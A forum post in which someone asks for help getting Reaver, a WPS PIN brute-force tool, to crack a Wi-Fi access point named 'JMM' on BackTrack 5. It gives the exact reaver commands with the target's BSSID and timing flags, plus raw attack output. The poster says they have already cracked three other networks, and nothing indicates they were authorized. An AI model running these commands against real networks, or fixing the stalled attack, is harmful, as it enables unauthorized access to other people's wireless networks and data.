So far I've played with Reaver in BT5 R3 to "great success", lol. But now I am stuck.
I know you guys like information, so here's all I got. Laptop running a flash drive 32bit BT5 R3. Used unetbotin or whatever its called.
I am using a directional 20dB antenna, awus036h, I'm not sure what drivers exactly but this setup has worked perfectly on 3 other networks and cracked them just fine. Usually 1 second/pin.
So now, my nemisis: 20:4e:7f:81:dd:50 on CH 6. Wash says its open. -39 signal strength.
reaver -i mon0 -b 20:4e:7f:81:dd:50 -vv -d 9 -T 1.0
I put the card into monitor mode like always. I run wash and check that its possible. I have tried 200 variations of the code but no worky. Here's some samples.
The issue here is that it tries the same first pin every time, making zero progress.
Code:
root@bt:~# reaver -i mon0 -b 20:4e:7f:81:dd:50 -vv -c 6
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Switching mon0 to channel 6
[+] Waiting for beacon from 20:4E:7F:81:DD:50
[+] Associated with 20:4E:7F:81:DD:50 (ESSID: JMM)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
^C
OK. Next try-- Lets play with timing. BTW, adding -a and it doesnt move at all. It never even gets started.
Code:
root@bt:~# reaver -i mon0 -b 20:4e:7f:81:dd:50 -vv -c 6 -d 10 -T .5
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Switching mon0 to channel 6
[+] Waiting for beacon from 20:4E:7F:81:DD:50
[+] Associated with 20:4E:7F:81:DD:50 (ESSID: JMM)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
^C
Please help. The target AP is about 10 feet away. I've gotten through other networks like cake. Why is this one such a *****?!?